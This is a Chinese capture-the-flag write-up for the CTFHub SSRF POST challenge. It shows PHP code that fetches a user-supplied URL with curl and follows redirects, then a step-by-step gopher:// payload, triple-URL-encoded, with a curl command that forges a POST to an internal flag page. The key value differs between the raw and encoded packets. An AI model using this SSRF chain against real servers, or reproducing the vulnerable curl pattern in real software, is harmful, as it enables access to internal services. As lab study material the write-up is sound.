php curl ssrf,CTFHUB技能树-SSRF【POST请求】

CTFHUB SSRF POST请求

废话

首先

开始解题

构造gopher数据

构造获取flag的请求

废话

最近ctfhub新添加了一些题目,看到有ssrf的题目便去试了一下,前面几个都比较简单就暂时先不写,post 请求那个折腾了几天终于弄懂了,把过程记录下。

4bb542aa002c097f7e814dd27b915beb.png

首先

我们看下题目描述,这个肯定是不能错过的。

*描述:发一个HTTP POST请求.ssrf是用php的curl实现的.并且会跟踪302跳转.

开始解题

我们打开题目,发现了flag.php 302.php index.php 三个文件。用直接访问flag.php提示我们需要从127.0.0.1访问。

于是使用http协议从127.0.0.1访问看看。

b60ddef406d30c23117056d8cad8aab8.png

查看源代码。

eadc4edbc4a1701cbd52ada123996576.png

查看302.php,发现了可以构造url用302跳转。

04b02320ea587ae9d3df72461b0c4187.png

其实这里我们还可以通过fiile://协议去读每一个文件,但是需要知道绝对路径,ctfhub的web绝对路径一般是:

/var/www/html/

flag.php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

echo "Just View From 127.0.0.1";

return;

}

$flag=getenv("CTFHUB");

$key = md5($flag);

if(isset($_POST["key"]) && $_POST["key"] == $key){

echo $flag;

exit;

}

?>

index.php

error_reporting(0);

header("Help: here is 302.php");

if (!isset($_REQUEST['url'])){

header("Location: /?url=_");

exit;

}

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_exec($ch);

curl_close($ch);

302.php就不贴了,直接给了源代码的。

至此大概了解了本题的思路。需要我们用gopher协议通过302.php的跳转去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。

构造gopher数据

我们首先要通过{host}:{port}/index.php?url=http://127.0.0.1/302.php去跳转gopher的协议。

gopher的数据应该是这样:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Length: 36#特别注意此处的长度,长度不对也是不行的。

Content-Type: application/x-www-form-urlencoded

key=a96c4130c73185e519003c24968e7517 #key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。

以上数据包内容缺一不可

特别注意Content-Length的长度,这个字段必须有,并且长度不对也是不行的。我不会告诉你我在这里被坑了一天_

注意更改key

gopher的数据需要用url编码三次之后再发送。

gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253defba86faaeaff11dea094633e47cd06a

构造获取flag的请求

curl -vvv 'http://challenge-de43eaec0618623b.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253defba86faaeaff11dea094633e47cd06a'

稍等片刻,flag返回。

3d68da04a5c2b51e6013f93aab439c1b.png

其实也可以用burp也一样。

d071a4b81e587169c24d9219bdd304ab.png

先结束吧,后面有时间再做下后面几题。

【持续更新】

ssrf参考:Legend__Lin’SSRF基础:Gopher协议发送Get和Post请求

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值